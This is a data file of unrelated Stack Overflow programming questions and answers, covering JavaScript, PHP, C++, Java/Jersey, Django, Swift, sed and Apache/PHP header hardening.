24658299	0	How to optimize a subset of JavaScript files created as RequireJS modules <p>I have single-page web application that uses RequireJS to organize and structure JavaScript code. <strong>Inside the app, I have some JS files that I want to optimize using r.js because they belong to an API that will be consumed by my customers. So, I just want to optimize those files and keep the rest of the code as it is now.</strong></p> <p>This is my application structure:</p> <ul> <li>app <ul> <li>main.js</li> <li>many other files and folders</li> </ul></li> <li>scripts <ul> <li>myAPI <ul> <li>app.js </li> <li>many other files and folders</li> </ul></li> <li>require.js </li> <li>jquery.js</li> <li>build.js</li> </ul></li> <li>index.htm</li> </ul> <p>All the JavaScript code is located under the <em>app</em> and <em>scripts</em> folders. As I mentioned before, all those files are defined as RequireJS modules. This is how the main.js looks now:</p> <pre><code>require.config({ baseUrl: 'scripts', paths: { base: 'myAPI/base', proxy: 'myAPI/proxyObject', localization: 'myAPI/localization', app: '../app', } }); require(['myAPI/app'], function (app) { //app.init.... } ); </code></pre> <p>As you can see, in the <em>paths</em> configuration I'm defining some aliases that point to <em>myAPI</em> (the folder I want to optimize).</p> <p>This is how I reference RequireJS from the index.htm file:</p> <pre><code>&lt;script data-main="app/main" src="scripts/require.js"&gt;&lt;/script&gt; </code></pre> <p>This is the build file I created for r.js (scripts/build.js):</p> <pre><code>({ baseUrl: '.', out: 'build/myAPI.js', name: 'myAPI/app', include: ['some modules'], excludeShallow: ['some modules defined in the app folder'], mainConfigFile: '../app/main.js', optimize: 'uglify2', optimizeCss: 'none' }) </code></pre> <p><strong>The optimized file is generated, but I have some challenges trying to use it</strong>:</p> <ol> <li>How do I reference that file from the app?</li> <li>The dependencies to <em>myAPI</em> modules are broken now. RequireJS doesn't find the modules defined in <em>myAPI</em>.</li> <li>What can I do to keep the aliases defined in require.config.paths working?</li> </ol> <p>Could you please help me with some suggestions or feedback for this situation?</p> <p>Thanks!!</p>
29213710	0	 <p>Turn the HTML into a <a href="http://php.net/manual/en/class.domdocument.php" rel="nofollow">DOMDocument</a>, then fetch the requested values using <a href="http://php.net/manual/en/class.domxpath.php" rel="nofollow">XPath</a> <a href="http://www.w3.org/TR/xpath/" rel="nofollow">queries</a>:</p> <pre><code>$html = &lt;&lt;&lt;EOS &lt;table id='table1'&gt; &lt;tr&gt; &lt;td&gt; &lt;div class='us'&gt; &lt;/div&gt; &lt;/td&gt; &lt;td&gt; &lt;div&gt; &lt;span&gt;text1&lt;/span&gt; &lt;/div&gt; &lt;/td&gt; &lt;td&gt; &lt;span&gt;text2&lt;/span&gt; &lt;/td&gt; &lt;td&gt;text3&lt;/td&gt; &lt;/tr&gt; &lt;tr&gt; &lt;td&gt; &lt;div class='jo'&gt;&lt;/div&gt; &lt;/td&gt; &lt;td&gt; &lt;div&gt; &lt;span&gt;text4&lt;/span&gt; &lt;/div&gt; &lt;/td&gt; &lt;td&gt; &lt;span&gt;text5&lt;/span&gt; &lt;/td&gt; &lt;td&gt;text6&lt;/td&gt; &lt;/tr&gt; &lt;/table&gt; EOS; // Load HTML into a DOMDocument $dom = new DOMDocument(); $dom-&gt;loadHTML($html); // Find div's with class attribute $xPath = new DOMXPath($dom); $divsWithClassAttribute = $xPath-&gt;query('//div[@class]'); // Loop through divs foreach ($divsWithClassAttribute as $div) { // Create row array starting with class name $row = array($div-&gt;getAttribute('class')); // Get siblings of the td parent of each div $siblings = $xPath-&gt;query('parent::td/following-sibling::td', $div); // Loop through (td) siblings and extract text content foreach ($siblings as $sibling) { $row[] = trim($sibling-&gt;textContent); // Add text value } // Output row echo implode(' - ', $row), PHP_EOL; } </code></pre> <p>Output:</p> <pre><code>us - text1 - text2 - text3 jo - text4 - text5 - text6 </code></pre>
31301870	0	 <p>This info on the changelog is more related to the fact that before the maximum number of concurrent sockets node could handle was set to <code>5</code> (it was changeable of course) but now it is set to <code>Infinity</code> by default.</p> <p>This has nothing to do with the capacity of connexions an application can handle, that will be limited by the network's characteristics, the OS specifications, the available resources on the server, etc.</p> <p>In short, you are looking at something (the blog post) that has nothing to do with your question.</p>
26286380	0	Segmentation fault when filling a 2-d Jagged array <p>I am attempting to fill a jagged array with random values, where the columns and rows are determined by the user.</p> <p>The following code sometimes produces a segmentation fault. Why?</p> <pre><code>int main() { int row; int *col; int **ragArray; setupArray(ragArray, row, col); fillArray(ragArray, row, col); } void setupArray(int **&amp;ragArray, int &amp;row, int *&amp;col) { cout &lt;&lt; "Enter number of rows for the ragged array: "; cin &gt;&gt;row; int a; ragArray = (int**)malloc(row * sizeof(int*)); col = new int[row]; for (int i = 0; i &lt; row; i++) { cout &lt;&lt; "Enter number of columns for row " &lt;&lt; i + 1 &lt;&lt; ": "; cin &gt;&gt; a; col[i] = a; ragArray[i] = (int*)malloc(a * sizeof(int)); } } void fillArray(int **&amp;ragArray, int &amp;row, int *&amp;col) { for (int j = 0; j &lt; row; j++) { for (int i = 0; i &lt; col[j]; i++) { ragArray[i][j] = (rand()%9); } } } </code></pre> <p>This code produces a segmentation fault when I try to create an array with one row having a column greater than the amount of rows. For example, </p> <pre><code>Enter number of rows for the ragged array:5 Enter number of columns for row 1: 6 Enter number of columns for row 2: 2 Enter number of columns for row 3: 4 Enter number of columns for row 4: 1 Enter number of columns for row 5: 3 </code></pre> <p>produces a segfault when attempting to assign a value to <code>ragArray[0][5]</code>, however,</p> <pre><code>Enter number of rows for the ragged array:5 Enter number of columns for row 1: 5 Enter number of columns for row 2: 2 Enter number of columns for row 3: 4 Enter number of columns for row 4: 1 Enter number of columns for row 5: 3 </code></pre> <p>works just fine.</p>
34095477	0	 <p>call url with domain, try this</p> <pre><code>file_get_contents('https://www.example.com/inventory/index.php?id=100'); </code></pre>
24008218	0	Is it possible for a web service operation to return multiple types? <p>I'm working with a web service which is written by another team.</p> <p>The operation which I'm using in the WSDL is:</p> <pre><code>&lt;wsdl:operation name="transactionReport"&gt; &lt;wsdl:input name="transactionReportRequest" message="schema:transactionReportRequest"&gt; &lt;/wsdl:input&gt; &lt;wsdl:output name="transactionReportResponse" message="schema:transactionReportResponse"&gt; &lt;/wsdl:output&gt; &lt;/wsdl:operation&gt; </code></pre> <p>As it describes in WSDL the result of the <code>transactionReport</code> operation must be of type <code>transactionReportResponse</code>.</p> <p>But in some cases (on error) it returns this XML as result:</p> <pre><code>&lt;SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/"&gt; &lt;SOAP-ENV:Header /&gt; &lt;SOAP-ENV:Body&gt; &lt;errorOccur xmlns="http://thecompany/servicesCompanyInfo/definitions"&gt; &lt;errorCode&gt;3&lt;/errorCode&gt; &lt;errorDescription&gt;CUSTOMER_ID or FROM_DATE should have value&lt;/errorDescription&gt; &lt;/errorOccur&gt; &lt;/SOAP-ENV:Body&gt; &lt;/SOAP-ENV:Envelope&gt; </code></pre> <p>It seems that it's against the WSDL. Am I true?</p> <p>I expect this operation to return just <code>transactionReportResponse</code> or <code>Fault</code>.</p> <p><strong>Question1:</strong> Is it OK for this operation to return a <code>errorOccur</code> too?</p> <p><strong>Question2:</strong> If it's OK, then how can I get this object in C#? (As it returns null despite of the XML which contains a <code>errorOccur</code>)</p>
33857976	0	 <p>Thats <code>REGDB_E_CLASSNOTREG</code> so <code>CLSID_SQLNCLI11</code> is not available, download and install the redistributable package for the Native Client (Matching the bitness of your application).</p> <p><a href="https://www.microsoft.com/en-gb/download/details.aspx?id=29065" rel="nofollow">Download</a>.</p>
9945049	0	Tablet landscape specific with media queries <p>I have a 'responsive' website but there are some links I only want on 'pc browsers' only and not on 'tablet landscape' becasue they link off to flash objects.</p> <p>So far this is what I have done but it't not a 100% fix as some android tablets such as 'Lenovo think pad' which have a bigger screen.</p> <p>I am using media queries to make my site responsive and this is what I'm currently using...</p> <pre><code>@media only screen and (max-device-width : 1024px) and (orientation:landscape) { header.Site { nav.Site &gt; ul &gt; li { line-height: 2 ; } div.BidSessionCountdown, a.LiveOnline { display: none; } } } </code></pre> <p>Is there any CSS fixes you can think of?</p> <p>Thank you in advance Tash :D</p>
11478260	0	Spring Integration HTTP inbound adapter method name? <p>Is it possible to map the method name to a header with a int-http:inbound-gateway? for example:</p> <pre><code>&lt;int-http:inbound-gateway request-channel="requests" reply-channel="replies" supported-moethds="GET,PUT" path="/user"&gt; &lt;int-http:header name="requestMethod" expression="#requestMethod"/&gt; &lt;/int-http:inbound-gateway&gt; &lt;!-- ... --&gt; &lt;int:header-value-router input-channel="requests" header-name="requestMethod&gt; &lt;int:mapping value="GET" channel="getUserRequests"/&gt; &lt;int:mapping value="PUT" channel="addUserRequests"/&gt; &lt;/int:header-value-router&gt; </code></pre> <p>Furthermore, I see examples that utilize #requestParams, but the javadoc for 2.1 mentions #queryParameters, and I don't see documentation for either of these in the official documentation page. Do you guys know a good resource that describes not only how SpEL parses expressions but what fields are available to use with it? All I can tell is I have headers, payload, #pathVariables, and maybe #requestParams or #queryParams, along with any other @beans I have defined in the current context.</p> <p>Thanks in advance!</p>
30507308	0	 <p>I suggest to store coordinates and address info in data-attributes, obtaining more flexible code in result: need one more marker? — just add another &lt;a&gt;!</p> <pre><code>&lt;html&gt; &lt;ul&gt; &lt;li&gt; &lt;a href="#" class="location_class" data-location_phi="41.3947901,2.1487679" data-loan="loan 1" data-add="address 1" data-add_phi="some1"&gt;Barcelona&lt;/a&gt; &lt;/li&gt; &lt;li&gt; &lt;a href="#" class="location_class" data-location_phi="41.1258048,1.2385834" data-loan="loan 2" data-add="address 2" data-add_phi="some2"&gt;Tarragona&lt;/a&gt; &lt;/li&gt; &lt;li&gt; &lt;a href="#" class="location_class" data-location_phi="46.4841143,30.7388449" data-loan="" data-add="address 3" data-add_phi=""&gt;Odessa&lt;/a&gt; &lt;/li&gt; &lt;/ul&gt; &lt;div id="testmap"&gt;&lt;/div&gt; &lt;/html&gt; </code></pre> <p>JS</p> <pre><code>google.maps.event.addDomListener(window, 'load', initialize); function initialize() { var mapOptions = { zoom: 8, center: new google.maps.LatLng(41.3947901, 2.1487679), mapTypeId: google.maps.MapTypeId.ROADMAP } setMarkers( new google.maps.Map(document.getElementById('testmap'), mapOptions) ); } function setMarkers(map) { // Find links with "data-location_phi" attribute, // that contains coordinates required for marker placement var a = document.querySelectorAll('[data-location_phi]'); for (var i = 0; i &lt; a.length; i++) { // Create an instance of MapMarker class for every location link new MapMarker(map, a[i]); } } function MapMarker(map, a) { this.a = a; this.map = map; this.dataset = {}; this.fillDataSet(); // Since we don't validate data in attributes it may cause some exceptions try { var loc = this.dataset.location_phi.split(','); this.latLng = new google.maps.LatLng(loc[0], loc[1]); this.marker = new google.maps.Marker({ map: this.map, title: this.dataset.loan, position: this.latLng }); // Bind event listeners this.bind(); } catch (e) { console.log(e); } } MapMarker.prototype.fillDataSet = function () { var self = this; Array.prototype.slice.call(self.a.attributes).forEach(function (attr) { if (attr.name.substr(0, 5) == 'data-') { self.dataset[attr.name.substr(5)] = attr.value; } }); } MapMarker.prototype.panTo = function () { this.map.panTo(this.latLng); } MapMarker.prototype.showInfo = function () { var infowindow = new google.maps.InfoWindow(); var content = '&lt;h3&gt;Loan Number: ' + this.dataset.loan + '&lt;/h3&gt;' + 'Address: ' + this.dataset.add + this.dataset.add_phi; infowindow.setContent(content); infowindow.open(this.map, this.marker); } MapMarker.prototype.bind = function () { var self = this; // Click on the link self.a.addEventListener('click', function (e) { e.preventDefault(); self.panTo(); }); // Click on the marker google.maps.event.addListener( self.marker, 'click', function () { self.showInfo(); self.panTo(); } ); } </code></pre> <p><a href="https://jsfiddle.net/9Lemwp07/9/" rel="nofollow">Demo</a></p>
5598476	1	Django filter for converting the number of seconds into a readable form <p>I have model:</p> <pre><code>class Track(models.Model): artist = models.CharField(max_length=100) title = models.CharField(max_length=100) length = models.PositiveSmallIntegerField() </code></pre> <p>where length is the duration of track in seconds</p> <p>I have template:</p> <pre><code>{% for track in tracks %} {{track.artist}} - {{track.title}} {{track.length}} {% endfor %} </code></pre> <p>How can I convert a length in the readable form, ie 320 seconds should be displayed as 5:20, 3770 as 1:02:50?</p> <p>Forgive sorry for bad english.</p>
28285970	0	 <p>You are missing the <code>.call()</code> when you're trying to make an array copy from the <code>HTMLCollection</code>. Instead of this:</p> <pre><code>var x = document.getElementsByTagName("th"); var plop = Array.prototype.slice(x); </code></pre> <p>You can do this:</p> <pre><code>var x = document.getElementsByTagName("th"); var plop = Array.prototype.slice.call(x); console.log(plop); </code></pre> <hr> <p>Note: you don't need to make an array copy just to iterate over it. You can iterate an HTMLCollection directly:</p> <pre><code>var items = document.getElementsByTagName("th"); for (var i = 0; i &lt; items.length; i++) { console.log(items[i]); } </code></pre>
6919756	0	 <p>There are two ways user-defined types can be implicitly converted:</p> <ol> <li>With a conversion constructor (e.g. "std::string::string(const char* c_string)").</li> <li>With a conversion operator (e.g. "OldType::operator NewType() const").</li> </ol> <p>Any constructor that takes a single parameter and does not use the keyword "explicit" defines an implicit conversion (from the type of the parameter, to the type of the object being constructed). The standard string class intentionally does not use "explicit" in order to provide the convenience of this conversion.</p>
29666302	0	Using a single user for mysql queries or multiple users for specific tasks? <p>Should I have multiple mysql user accounts with specific tasks (update,insert,select) for 1 web application OR a single mysql user account with multiple privileges?</p> <p>Are there any specific pros and cons?</p>
23466363	0	 <p>Here's an example to add to the IDE's context menu - originally posted on the livecode forums. There's also an example stack you can download : <a href="http://forums.runrev.com/viewtopic.php?f=9&amp;t=18613" rel="nofollow">http://forums.runrev.com/viewtopic.php?f=9&amp;t=18613</a></p> <pre><code># catch the IDE's context menu message on revHookBuildObjectEditorContextMenu pMenuTarget, pMenuName, @pMenu, pModifiedMenu # custom menu item put "Custom Item" &amp; "-" &amp; LF before pMenu pass revHookBuildObjectEditorContextMenu end revHookBuildObjectEditorContextMenu # catch the IDE's message when an item is selected from the context menu function dispatchContextMenuPick pMenuName, pItem switch word 1 to -1 of pItem case "Custom Item" answer "Custom Item Selected" exit to top break end switch pass dispatchContextMenuPick end dispatchContextMenuPick </code></pre> <ul> <li><p>To get it to work, put the code above into a button then use;</p> <p>insert the script of button "MyFrontScript" into front</p></li> </ul>
15093494	0	Using sed to remove lines from a txt file <p>I have a big text file from which I want to remove some lines that are in another text file. It seems that the <code>sed</code> command in Unix shell is a good way to do this. However, I haven't been able to figure out which flags to use for this. .</p> <p>database.txt:</p> <pre><code>this is line 1 this is line 2 this is line 3 this is line 4 this is line 5 </code></pre> <p>lines_to_remove.txt</p> <pre><code>this is line 1 this is line 3 </code></pre> <p>what_i_want.txt</p> <pre><code>this is line 2 this is line 4 this is line 5 </code></pre>
5177191	0	 <p><em>(I realise this question is old, but it's something that other people might want an answer to)</em></p> <p>BASIC Authentication doesn't really allow what you're asking for, but you can get something that works a bit like what you want, if you're willing to live with some "quirks".</p> <p>BASIC Authentication has 2 aspects that make it hard to control in this way</p> <ul> <li>It is stateless</li> <li>It is client-side</li> </ul> <p>Both of those aspects are features, but they make it hard to link BASIC authentication to Java sessions. That is why alternate login mechanisms (like Java FORM login exist)</p> <p><strong>BASIC Authentication is stateless</strong><br> That means that the client has absolutely no idea what is going on on the server-side, and it certainly has no way of linking a set of BASIC Authentication credentials to a cookie (which is what mostly controls the java session)<br> What happens in that the browser will simply send the username+password with <em>every</em> request, until it decides to stop (generally because the browser was closed, and a new browser session was created).<br> The browser doesn't know what the server is doing with the credentials. It doesn't know whether they're needed any more, or not, and it doesn't know when the server side has decided that a "new session" has started, it just keeps on sending that username+password with each request.</p> <p><strong>BASIC Authentication is Client-Side</strong><br> That dialog for the user/password is handled by the client. All the server says is "The URL you requested needs a username+password, and we've named this security realm 'xyz' ".<br> The server doesn't know whether the user is typing in a password each time, or whether the client has cached them. It doesn't know if there really is a user there, or whether the password was pulled out of a file.<br> The only thing the server can do is say "You need to give me a user+password before accessing this URL"</p> <p><strong>How to fake it</strong><br> Essentially, you need to detect (i.e. make an educated guess) when the browser is sending old credentials and then send the "Please give me a user+password" response (HTTP 401) again.</p> <p>The simplest way to do that is to have a filter in your application that detects the first time the user has logged in for that session, and sends a <code>401</code> response code. Something like:</p> <pre><code> if(session.getAttribute("auth") == null) { response.setStatus(401); response.setHeader("WWW-Authenticate", "basic realm=\"Auth (" + session.getCreationTime() + ")\"" ); session.setAttribute("auth", Boolean.TRUE); writer.println("Login Required"); return; } </code></pre> <p>In that example I've named the realm with the creation time of the session (although it's not very pretty - you'd probably want to format it differently). That means that the name of the security realm changes each time you invalidate the session, which helps prevent the client from getting confused (why is it asking me for a user+password again, for the same realm, when I just gave one?).<br> The new realm name will not confuse the servlet container, because it will never see it - the client response does not include the realm name.</p> <p>The trick though, it that you don't want the user to get asked for their password twice the first time they logon. And, out of the box, this solution will do that - once for the container to ask for it, and then again when your filter does.</p> <p><strong>How to avoid getting 2 login boxes</strong> There are 4 options.</p> <ol> <li>Do it all in code.</li> <li>Use a secondary session cookie to try and tell whether the user is logging in for the first time. </li> <li>Have your root URL be unsecured (but have it do nothing)</li> <li>Have all your app be unsecured, except for 1 page, and redirect users to that page if they are not logged in.</li> </ol> <p><strong>Do it in code</strong></p> <p>If you're happy to do all of the security inside your own servlet/filter, and get no help from the servlet container (Jetty) then that's not too hard. You simply turn off BASIC auth in your web.xml, and do it all in code. (There's a fair bit of work, and you need to make sure you don't leave any security holes open, but it's conceptually quite easy)<br> Most people don't want to do that.</p> <p><strong>Secondary Cookies</strong><br> After a user logins in to your application, you can set a cookie ("authenticated") that expires at the end of the browser session. This cookie is tied to the browser session and <strong>not</strong> to the Java session.<br> When you invalidate the Java session - <em>do not</em> invalidate the <em>"authenticated"</em> cookie.<br> If a user logs in to a <em>fresh</em> java session (i.e. <code>session.getAttribute("auth")==null</code>), but still has this <em>"authenticated"</em> then you know that they're re-using an existing browser session and are <em>probably</em> re-using existing HTTP authentication credentials. In that case you do the <code>401</code> trick to force them to give new credentials.</p> <p><strong>Unsecured root URL</strong><br> If your root URL is unsecured, and you know that this is the URL that your users always login to, then you can simply put your "auth"/<code>401</code> check at that URL, and it will solve the problem. But make sure you don't accidentally open a security hole.<br> This URL should not have any functionality other than redirecting users to the "real" app (that is secured)</p> <p><strong>Single secured URL</strong><br> Have 1 URL that is secured (e.g. "/login").<br> As well as your "auth"/<code>401</code> filter, have another filter (or additional code in the same filter) on all pages (other than login) that checks whether <code>request.getUserPrincipal()</code> is set. If not, redirect the user to "/login".</p> <p><strong>The <em>much</em> easier solution</strong><br> Just use a FORM login method instead of BASIC authentication. It's designed to solve this problem.</p>
27769205	0	Swift Dictionary of Arrays <p>I am making an app that has different game modes, and each game mode has a few scores. I am trying to store all the scores in a dictionary of arrays, where the dictionary's key is a game's id (a String), and the associated array has the list of scores for that game mode. But when I try to initialize the arrays' values to random values, Swift breaks, giving me the error below. This chunk of code will break in a playground. What am I doing wrong?</p> <pre><code>let modes = ["mode1", "mode2", "mode3"] var dict = Dictionary&lt;String, [Int]&gt;() for mode in modes { dict[mode] = Array&lt;Int&gt;() for j in 1...5 { dict[mode]?.append(j) let array:[Int] = dict[mode]! let value:Int = array[j] //breaks here } } </code></pre> <p>ERROR:</p> <pre><code>Execution was interrupted, reason: EXC_BAD_INSTRUCTION(code=EXC_I386_INVOP, subcode=0x0). </code></pre>
14315005	0	 <p>Here is what I would do: I would write a static function for formatting your dates (either using my own class or extending Kohana <code>Date</code> class). I would use this function in your view directly:</p> <pre><code>&lt;?php echo SomeClass::date_format($result-&gt;time_start, $result-&gt;time_finished) ?&gt; </code></pre> <p>Why in the view? Because the function is used for formatting, it doesn't actually return different data set.</p>
37145127	0	java.lang.ClassCastException: org.glassfish.jersey.jackson.internal.JacksonAutoDiscoverable cannot be cast to spi.AutoDiscoverable <p>I am new to implementing REST API services. I have tried the simple resources to implement. unfortunately I stuck with this exception. I have googled and tried many options but no luck. I am unsure what am doing wrong. Please help me.</p> <ol> <li>Created a Dynamic Web project "JersyJson"</li> <li>Created a resouce named - JSONService.java (source is from googling)</li> <li>Created a Java Bean class - Track.java (source is from googling)</li> <li>Converted the project into Maven project</li> <li>Created a Application file - JersyJson.java file for Application Annotation</li> <li>using the latest Jersy Jars (version: 2.22.2)</li> <li>Imported &amp; configured jersey-media-json-jackson and jersey-media-moxy jars (2.22.2) in pom.xml</li> </ol> <p><strong>Pom.xml</strong></p> <pre><code>&lt;project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd"&gt; &lt;modelVersion&gt;4.0.0&lt;/modelVersion&gt; &lt;groupId&gt;JersyJson&lt;/groupId&gt; &lt;artifactId&gt;JersyJson&lt;/artifactId&gt; &lt;version&gt;0.0.1-SNAPSHOT&lt;/version&gt; &lt;packaging&gt;war&lt;/packaging&gt; &lt;dependencies&gt; &lt;dependency&gt; &lt;groupId&gt;javax.ws.rs&lt;/groupId&gt; &lt;artifactId&gt;javax.ws.rs-api&lt;/artifactId&gt; &lt;version&gt;2.0.1&lt;/version&gt; &lt;/dependency&gt; &lt;dependency&gt; &lt;groupId&gt;org.glassfish.jersey.containers&lt;/groupId&gt; &lt;!-- if your container implements Servlet API older than 3.0, use "jersey-container-servlet-core" --&gt; &lt;artifactId&gt;jersey-container-servlet&lt;/artifactId&gt; &lt;version&gt;2.22.2&lt;/version&gt; &lt;/dependency&gt; &lt;dependency&gt; &lt;groupId&gt;org.glassfish.jersey.media&lt;/groupId&gt; &lt;artifactId&gt;jersey-media-json-jackson&lt;/artifactId&gt; &lt;version&gt;2.22.2&lt;/version&gt; &lt;/dependency&gt; &lt;dependency&gt; &lt;groupId&gt;org.glassfish.jersey.media&lt;/groupId&gt; &lt;artifactId&gt;jersey-media-moxy&lt;/artifactId&gt; &lt;version&gt;2.22.2&lt;/version&gt; &lt;/dependency&gt; &lt;/dependencies&gt; &lt;build&gt; &lt;sourceDirectory&gt;src&lt;/sourceDirectory&gt; &lt;plugins&gt; &lt;plugin&gt; &lt;artifactId&gt;maven-compiler-plugin&lt;/artifactId&gt; &lt;version&gt;3.3&lt;/version&gt; &lt;configuration&gt; &lt;source&gt;1.8&lt;/source&gt; &lt;target&gt;1.8&lt;/target&gt; &lt;/configuration&gt; &lt;/plugin&gt; &lt;plugin&gt; &lt;artifactId&gt;maven-war-plugin&lt;/artifactId&gt; &lt;version&gt;2.6&lt;/version&gt; &lt;configuration&gt; &lt;warSourceDirectory&gt;WebContent&lt;/warSourceDirectory&gt; &lt;failOnMissingWebXml&gt;false&lt;/failOnMissingWebXml&gt; &lt;/configuration&gt; &lt;/plugin&gt; &lt;/plugins&gt; &lt;/build&gt; &lt;/project&gt; </code></pre> <p><strong>Web.xml</strong></p> <pre><code>&lt;?xml version="1.0" encoding="UTF-8"?&gt; &lt;web-app xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns="http://java.sun.com/xml/ns/javaee" xsi:schemaLocation="http://java.sun.com/xml/ns/javaee http://java.sun.com/xml/ns/javaee/web-app_3_0.xsd" id="WebApp_ID" version="3.0"&gt; &lt;display-name&gt;JersyJson&lt;/display-name&gt; &lt;servlet&gt; &lt;servlet-name&gt;javax.ws.rs.core.Application&lt;/servlet-name&gt; &lt;/servlet&gt; &lt;servlet-mapping&gt; &lt;servlet-name&gt;javax.ws.rs.core.Application&lt;/servlet-name&gt; &lt;url-pattern&gt;/json/metallica/*&lt;/url-pattern&gt; &lt;/servlet-mapping&gt; &lt;/web-app&gt; </code></pre> <p><strong>JersyJson.java (ApplicationAnnotation file)</strong></p> <pre><code>@ApplicationPath("json") public class JersyJson extends ResourceConfig { public JersyJson() { packages("com.sai.jersyjson"); } } </code></pre> <p><strong>JSONservice.java:</strong></p> <pre><code>package com.sai.jersyjson; import javax.ws.rs.Consumes; import javax.ws.rs.GET; import javax.ws.rs.POST; import javax.ws.rs.Path; import javax.ws.rs.Produces; import javax.ws.rs.core.MediaType; import javax.ws.rs.core.Response; @Path("/json/metallica") public class JSONService { @GET @Path("/get") @Produces(MediaType.APPLICATION_JSON) public Track getTrackInJSON() { Track track = new Track(); track.setTitle("Enter Sandman"); track.setSinger("Metallica"); return track; } @POST @Path("/post") @Consumes(MediaType.APPLICATION_JSON) public Response createTrackInJSON(Track track) { String result = "Track saved : " + track; return Response.status(201).entity(result).build(); } } </code></pre> <p><strong>Track.java (simple bean class)</strong></p> <pre><code>package com.sai.jersyjson; public class Track { String title; String singer; public String getTitle() { return title; } public void setTitle(String title) { this.title = title; } public String getSinger() { return singer; } public void setSinger(String singer) { this.singer = singer; } @Override public String toString() { return "Track [title=" + title + ", singer=" + singer + "]"; } } </code></pre> <p><strong>After I run this project in Eclispe using Tomcat webserver, I get the following error with 404-Error Status</strong></p> <p>SEVERE: StandardWrapper.Throwable java.lang.ClassCastException: org.glassfish.jersey.jackson.internal.JacksonAutoDiscoverable cannot be cast to org.glassfish.jersey.internal.spi.AutoDiscoverable at org.glassfish.jersey.model.internal.CommonConfig$2.compare(CommonConfig.java:594) at java.util.TreeMap.put(Unknown Source) at java.util.TreeSet.add(Unknown Source) at java.util.AbstractCollection.addAll(Unknown Source) at java.util.TreeSet.addAll(Unknown Source) at org.glassfish.jersey.model.internal.CommonConfig.configureAutoDiscoverableProviders(CommonConfig.java:616) at org.glassfish.jersey.server.ResourceConfig.configureAutoDiscoverableProviders(ResourceConfig.java:811) at org.glassfish.jersey.server.ApplicationHandler.initialize(ApplicationHandler.java:447) at org.glassfish.jersey.server.ApplicationHandler.access$500(ApplicationHandler.java:184) at org.glassfish.jersey.server.ApplicationHandler$3.call(ApplicationHandler.java:350) at org.glassfish.jersey.server.ApplicationHandler$3.call(ApplicationHandler.java:347) at org.glassfish.jersey.internal.Errors.process(Errors.java:315) at org.glassfish.jersey.internal.Errors.process(Errors.java:297) at org.glassfish.jersey.internal.Errors.processWithException(Errors.java:255) at org.glassfish.jersey.server.ApplicationHandler.(ApplicationHandler.java:347) at org.glassfish.jersey.servlet.WebComponent.(WebComponent.java:392) at org.glassfish.jersey.servlet.ServletContainer.init(ServletContainer.java:177) at org.glassfish.jersey.servlet.ServletContainer.init(ServletContainer.java:369) at javax.servlet.GenericServlet.init(GenericServlet.java:158) at org.apache.catalina.core.StandardWrapper.initServlet(StandardWrapper.java:1238) at org.apache.catalina.core.StandardWrapper.load(StandardWrapper.java:1041) at org.apache.catalina.core.StandardContext.loadOnStartup(StandardContext.java:4996) at org.apache.catalina.core.StandardContext.startInternal(StandardContext.java:5285) at org.apache.catalina.util.LifecycleBase.start(LifecycleBase.java:147) at org.apache.catalina.core.ContainerBase$StartChild.call(ContainerBase.java:1408) at org.apache.catalina.core.ContainerBase$StartChild.call(ContainerBase.java:1398) at java.util.concurrent.FutureTask.run(Unknown Source) at java.util.concurrent.ThreadPoolExecutor.runWorker(Unknown Source) at java.util.concurrent.ThreadPoolExecutor$Worker.run(Unknown Source) at java.lang.Thread.run(Unknown Source)</p>
15968895	0	 <p>This is by design. When changing the writing direction, everything is reversed: left becomes right and right becomes left. So you need <code>Element.ALIGN_LEFT</code> instead of <code>Element.ALIGN_RIGHT</code>.</p>
24854481	0	 <p>You should add following line of code to your script:</p> <pre><code>If InStr(nshow, Sheets("Sheet2").Cells(i, j).Value) = 0 Then End If </code></pre> <p>Basically InStr function here checks if current iterated value is already in nshow array.</p> <p>If yes - it does nothing, if no (function returns 0) - it lets the inside block of code being run and as a result of this the new value is being added to the nshow array.</p> <p>Finally your code should look like this:</p> <pre><code>Dim txt, show As String Dim NameList(1 To 50) As Variant Dim i, j, t As Integer t = 1 For i = 1 To 10 For j = 1 To 5 If InStr(nshow, Sheets("Sheet2").Cells(i, j).Value) = 0 Then NameList(t) = Sheets("Sheet2").Cells(i, j).Value nshow = nshow &amp; i &amp; " " &amp; t &amp; " " &amp; NameList(t) &amp; vbCrLf t = t + 1 End If Next j Next i MsgBox nshow </code></pre>
21984914	0	 <p>You can use the view's <code>controller</code> <a href="http://emberjs.com/api/classes/Ember.View.html#property_controller" rel="nofollow">property</a> to access the controller. Using this property, you can access it in the <code>didInsertElement</code> handler like this.</p> <pre><code>var controller = this.get('controller'); </code></pre>
31860607	0	How to determine ODBC supported join operators - Cross Join <p>Given an ODBC connection string, I'm trying to determine whether this connection supports cross joining.</p> <p>Currently I use the following code to determine the supported join operators:</p> <pre><code>(SupportedJoinOperators)connection.GetSchema("DataSourceInformation").Rows[0]["SupportedJoinOperators"] </code></pre> <p>But this only gives me Inner, Left, Right and Full joins. </p> <p>For example, if a connection string uses the <em>microsoft text driver (</em>.txt <em>.csv)</em>, the supported join operators are left and right, and the driver actually doesn't support the cross join operator (fails with a message of incorrect syntax).</p> <p>Using workarounds doesn't guarantee a correct answer, as I gather from <a href="http://blog.jooq.org/2014/02/12/no-cross-join-in-ms-access/" rel="nofollow">this</a> link.</p> <p>I also thought of trying a lower level, like using Pinvoke with the ODBC API like <code>SqlGetInfo</code> or <code>SqlGetFunctions</code> but it seems like a dead end.</p> <p>Any help will be greatly appreciated!</p>
16109688	0	 <p>Happens to me as well see a device is registered. But not from localhost: 8888 does not find any device.</p> <p>There is no official forum google apps?</p>
12373665	0	 <p>Example 1: imagine having 5 different sorting algorithms. you just want to sort in all sorts of places, but you don't want to select between the 5 in each and every place you do it. instead, you have a pointer to the sorting algorithm (they all take the same parameters, types, etc.). simply select an algorithm once (set the pointer) and use the pointer to sort everywhere.</p> <p>Example 2: callback... a function does something in a loop but needs application feedback every iteration. to that function, the callback is a function pointer that's passed as an argument.</p>
15130490	0	 <p>for server info add the following lines in apache2.conf</p> <pre><code>ServerTokens ProductOnly ServerSignature Off </code></pre> <p>For PHP info </p> <p>in your php.ini</p> <p>turn</p> <pre><code>expose_php = off </code></pre>
